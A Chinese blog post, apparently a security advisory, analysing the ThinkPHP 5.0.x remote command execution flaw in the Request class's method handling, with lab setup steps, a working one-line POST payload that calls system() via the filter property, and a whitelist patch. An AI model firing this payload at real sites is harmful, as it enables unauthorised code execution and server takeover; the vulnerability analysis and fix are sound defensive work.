专栏首页开心分享-技术交流ThinkPHP5远程命令执行漏洞

ThinkPHP5远程命令执行漏洞

前言

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企 业应用开发而诞生的。由于其简单易用,国内用户众多。

2019年1月11日ThinkPHP团队发布了版本更新,本次更新包含了一个可能GetShell的安全更新,具体内容为改进Request类的method方法。

漏洞描述

Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST[‘_method’]变量,却没有对$_POST[‘_method’]属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。

漏洞危害

在未经授权的情况下远程攻击者构造特殊的请求可以在PHP上下文环境中执行任意系统命令,甚至完全控制网站,造成数据泄露,网站内容被修改。

影响范围

受影响版本:ThinkPHP 5.0.x

不受影响版本:ThinkPHP 5.0.24

漏洞分析

本次更新的关键commit如下:

文件路径为:library/think/Request.php ,在修复前的文件526行中,当存在$_POST[‘_method’]变量是将会执行 $this->{$this->method}($_POST),当$_POST[‘_method’]为__construct时及等价于调用$this->_construct($_POST)_construct函数实现如下:

在该函数中,当传入的参数中的key为该Requests属性,将value赋值给该属性,由于key可控制,可以到达属性覆盖的效果。

漏洞复现

通过git 可以快速搭建环境

  1. git clone https://github.com/top-think/think
  2. git checkout v5.0.23
  3. cd think
  4. git clone https://github.com/top-think/framework thinkphp
  5. cd thinkphp
  6. git checkout v5.0.23

通过覆盖filter属性即可达到调用任意函数的效果。

5.0.23且设置了app_debug=true复现截图如下:

Payload如下

  1. _method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

在早期5.0的版本过滤器的调用有差别payload也会不同

修复方案

1.升级到5.0.24版本

2.或通过修改以下代码来缓解漏洞:

编辑 library/think/Request.php 文件, 查找:

  1. $this->method = strtoupper($_POST[Config::get('var_method')]);
  2. $this->{$this->method}($_POST);

修改为如下

  1. $method = strtoupper($_POST[Config::get('var_method')]);
  2. if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
  3.     $this->method = $method;
  4.     $this->{$this->method}($_POST);
  5. } else {
  6.     $this->method = ‘POST’;
  7. }
  8. unset($_POST[Config::get('var_method')]);

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 都市天际线必备及实用模组(MOD)合集/名单-【第一期】

    [基础必备/高实用性模组] Move It 移动工具(必备功能)(!有附属订阅模组!) Prop Precision 摆件对齐(功能) Prop Snappin...

    开心分享
  • Spring Boot Actuator H2 RCE复现-解决篇

    先cd进入spring-boot-actuator-h2-rce目录然后执行以下命令

    开心分享
  • WordPress5.5 自带默认 XML 站点地图 wp-sitemap.xml 移除教程

    WordPress5.5 版本新增了许多的功能,其中主要的新功能就是 WordPress 开始自带了 XML 站点地图(XML SiteMap),文件在根目录"...

    开心分享
  • UML用例图及其用例描述

    UML(统一建模语言,Unified Modeling Language)是一种定义良好、易于表达、功能强大且普遍适用的可视化建模语言。它融入了软件工程领域的新...

    麦克劳林
  • 写测试用例,比较高效的方式

    一直找不到,特别好的写用例的工具;虽然很多「项目管理工具」 & 「测试用例管理工具」都提供在线写用例的模块 ;

    IDO老徐
  • Django REST + React + Redux 上传文件

    fanzhh
  • 创造家庭大和谐,用 AI 给爹妈做个辟谣助手

    这些标题在具有一定科学素养的年轻人看来,根本不用点开,就知道是谣言或者过度夸张,但这些文章却在父母辈的微信群和朋友圈里每天疯传着。

    HyperAI超神经
  • 对话百度IDL负责人林元庆:人脸识别获评十大突破性科技背后百度的布局和野心

    AI科技评论按:21日,《麻省理工科技评论》发布全球十大突破性技术榜单,百度以人脸识别技术获得提名。百度深度学习实验室主任林元庆会后举行了一场媒体沟通会,详细阐...

    AI科技评论
  • redis 复制很简单? 树上qi个猴,一枪还剩几个猴

    相对比使用RDS ,NOSQL 数据库的虽使用,但被忽视的不少,相对于数据库之间的复制,(物理复制, 逻辑复制),redis 的复制,不少人认为还是比较简单的。...

    AustinDatabases
  • ONLYOFFICE界面汉化

    版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/hotqin888/article/det...

    hotqin888

扫码关注云+社区

领取腾讯云代金券